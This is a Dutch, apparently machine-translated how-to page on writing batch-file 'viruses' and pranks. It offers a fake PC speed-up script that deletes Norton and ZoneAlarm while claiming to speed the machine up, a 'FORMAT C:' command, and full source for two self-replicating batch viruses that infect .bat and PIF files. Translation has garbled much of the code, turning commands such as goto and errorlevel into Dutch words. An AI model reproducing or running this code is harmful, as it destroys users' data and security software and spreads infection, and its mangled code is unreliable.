Batchtrucs en virussen: 3 stappen

2024 Auteur: John Day | [email protected]. Laatst gewijzigd: 2024-01-30 11:19

Hoe maak je een Prank and Real-virussen in BATCHOpmerking: ik ben niet verantwoordelijk voor enige schade die je aan je computer toebrengt aan de computer van iemand anders. Opmerking: als je het bestand wilt opslaan, moet je het opslaan als iets.bat

Stap 1: Echte virussen (eenvoudige)

de eerste: kopieer de code ***************************************** ***************@echo welkom bij de winbooster door ELECTROfun@echo als u uw computer sneller wilt maken, moet u de volgende stappen uitvoeren@pause cd\ c: dir dir c:\progra~1\norton~1 @echo nu moet u y typen en op enter drukken @pause del c:\progra~1\norton~1 @pause c: dir @pause @dir c:\progra~1 dir c:\progra~1\zonea~1\zonealarm del c:\progra~1\zonea~1\zonealarm @echo ok nu is je computer "ECHT!" Snel: afrit ********************************************** * Opmerking: sla het bestand op wat u maar wilt.bat Opmerking: alles wat na @echo is, kan worden gewijzigd (u kunt schrijven wat u maar wilt) De tweede: *************** kleur 02FORMAAT C:***************

Stap 2: Echte virussen (geavanceerde)

1. De krachtigste ****************@if not '%0==' if '%_melt%==' goto meltbeg::---- dummy host --------@echo offecho Hallo Wereld!::---- end dummy host ----@goto MeLTend [MeLT_2a]:MeLTbeg@echo off%_MeLT%if '%1=='MeLT ga naar MeLT%2indien niet aanwezig %comspec% set comspec=%_MeLT%command%comspec% /e:5000 /c %0 MeLT virset MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT=set MeLTcl=ga naar MeLTend:MeLTrhset _MeLT=x%0 %MeLTcl%:MeLTvirset MeLTH=%0indien niet aanwezig %_MeLT%%temp%\nul set temp=%tmp%if bestaan %temp%\MeLT_2a goto MeLTrun%0 MeLT fnd. %path%:MeLTfndshift%_MeLT%if '%2==' exit MeLTset MeLT=%2\%MeLTH%.batif niet aanwezig %MeLT% set MeLT=%2\%MeLTH%indien niet aanwezig %MeLT% set MeLT= %2%MeLTH%.batif niet bestaan %MeLT% set MeLT=%2%MeLTH%if niet bestaan %MeLT% ga naar MeLTfndvind "MeLT"%temp%\MeLT_2aattrib %temp%\MeLT_2a +h:MeLTrun%MeLTH% MeLT s… %path%:MeLTsshift%_MeLT%if '%2==' verlaat MeLTfor %%a in (%2\*.bat %2*.bat) bel %MeLTH% MeLT inf %%agoto MeLTs:MeLTinffind / i "MeLT"nulif niet foutniveau 1 ga naar MeLTnoecho @if not '%%0==' if '%%_melt%%==' ga naar smeltbeg>MeLT.ttype %3>>MeLT.techo.>>MeLT.ttype % temp%\MeLT_2a>>MeLT.tmove MeLT.t %3>nulexit MeLT:MeLTact - flash-melt schermtekst dan terugzetten naar normalecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.techo e 120 B4 4C CD 21 00>>MeLT.techo g>>MeLT.tdebugnuldel MeLT.texit MeLT:MeLTnoset MeLTC =%MeLTC%1if %MeLTC%==1111111111 ga naar MeLTact:MeLTend*********************************** ******2. Dit is een virus dat PIF-bestanden 'infecteert', dat door Windows wordt gebruikt om DOS-programma's uit te voeren. Het werkt door verborgen begeleidende batches te maken die kopieën hiervan bevatten en vervolgens het PIF-bestand te wijzigen zodat de begeleidende batch eerst wordt uitgevoerd. Nadat de companion is uitgevoerd, wordt het oorspronkelijke hostprogramma uitgevoerd, waarvan de naam is gecodeerd in de companion. De pif-bestanden zijn gemarkeerd zodat ze niet opnieuw worden geïnfecteerd. Alleen PIF's worden beïnvloed, er worden geen wijzigingen aangebracht in de geïnfecteerde programma's. Om te 'genezen', gebruik PIFEDIT om de originele bestandsnamen te herstellen en verwijder vervolgens de verborgen bestanden.****************************** ***************@echo off:: host bestandsnaam…set pifvo=LIST. COM:: loop dispatcher…if '%1=='PiFV ga naar PiFV_%2:: voer de virus!set _PiFV=indien niet aanwezig %comspec% set comspec=C:\COMMAND. COM%_PiFV%%comspec% /e:5000 /c %0 PiFV go>nulif bestaat PiFV! del PiFV!:: voer de hostset uit PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo=set PiFVcl=:: controleer op activering…echo.|date|find / i "sat">nul. PiFVif foutniveau 1 ga naar PiFV_endecho.|time|find "7">nul. PiFVif foutniveau 1 ga naar PiFV_msgset PiFV=echocls%_PiFV%%PiFV%.%PiFV% Er was eens een otter genaamd Oscer%PiFV % Die beweerde te weten hoe water te maken.%PiFV% "Geen dammen meer", zei hij, "gebruik in plaats daarvan mijn water!"%PiFV% Maar de Elder Otter was niet onder de indruk.pause>nul. PiFVset PiFV=goto PiFV_end: PiFV_msgecho [PiFV] door WaveFuncgoto PiFV_end:PiFV_hst%PiFVo% %PiFVcl%goto PiFV_end:PiFV_goset PiFVh=%0if not exist %PiFVh% set PiFVh=%0.batif not exist %PiFVh% exit %PiFVh% exit bel %0 PiFV inf %%aexit PiFV:PiFV_infset PiFVp=%3:: haal de bestandsnaam en infectiemarkering van het slachtoffer:: uit het PIF-bestand met behulp van debug…als PiFV bestaat! ga naar PiFV_1echo m 124, 162 524>PiFV!echo e 100 '@set fn='>>PiFV!echo m 524, 562 108>>PiFV!echo n pifv$.bat>>PiFV!echo rcx>>PiFV!echo 47>>PiFV!echo met>>PiFV!echo m 55E, 561 108>>PiFV!echo en 10C 0>>PiFV!echo en pifv$$.bat>>PiFV!echo rcx>>PiFV!echo 10>> PiFV!echo w>>PiFV!echo q>>PiFV!:PiFV_1debug %PiFVp%nulcall PiFV$set PiFVn=%fn%call PiFV$$set PiFVi=%fn%del PiFV$?.bat:: pifvn=orig bestandsnaam:: pifvi=infectiemarkering:: pifvp=pif bestandsnaam:: pifvh=companion bat-bestand:: sla geïnfecteerde of 'lege' pifs over…if '%PiFVi%=='PiFV ga naar PiFV_endif '%PiFVn%==' ga naar PiFV_end:: don't shadow command.com (wees aardig)echo %PiFVn%|find /i "command">nulif not errorlevel 1 ga naar PiFV_end:: infectable - maak een begeleidende batch…:: (de volgende code verwijdert de extensie) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$echo n pifv$.com>>PiFV$$echo rcx>>PiFV$$echo 2a>>PiFV$$echo w>>PiFV$$echo q >>PiFV$$debugnulecho %PiFVn%|PiFV$>PiFV$$.batcall PiFV$$set PiFVb=%fn%.batdel PiFV$?.*:: pifvb=nieuwe batchnaam:: niet schaduwen als comp hetzelfde heeft name as hostif %PiFVo%==%PiFVb% ga naar PiFV_endif exist %PiFVb% ga naar PiFV_endecho @echo off>%PiFVb%echo set pifvo=%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib %PiFVb% +h:: …en richt de PIF op de companionecho e 15E 'PiFV', 0>PiFV$$echo e 124 '%PiFVb%', 0>>PiFV$$echo w>>PiFV$$echo q>>PiFV $$debug %PiFVp%nuldel PiFV$$:: Ik denk dat we klaar zijn!exit PiFV:PiFV_end:: vraag me af hoeveel bugs dit allemaal bevat? Slechts één:: manier om erachter te komen … ***************************************** **********

Stap 3: Prank Virus en en een truc

1. prank virus ******************** kleur 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir*/secho ************************* Opmerking: de "kleur 02" is om de tekst green2.trick (matrixcode) te maken ****** *************************@echo offcolor 02:startecho %willekeurig% %willekeurig% %willekeurig% %willekeurig% %willekeurig% %willekeurig% %random% %random% %random% %random% %random% %random% %random% %random% ga naar start************************* ****************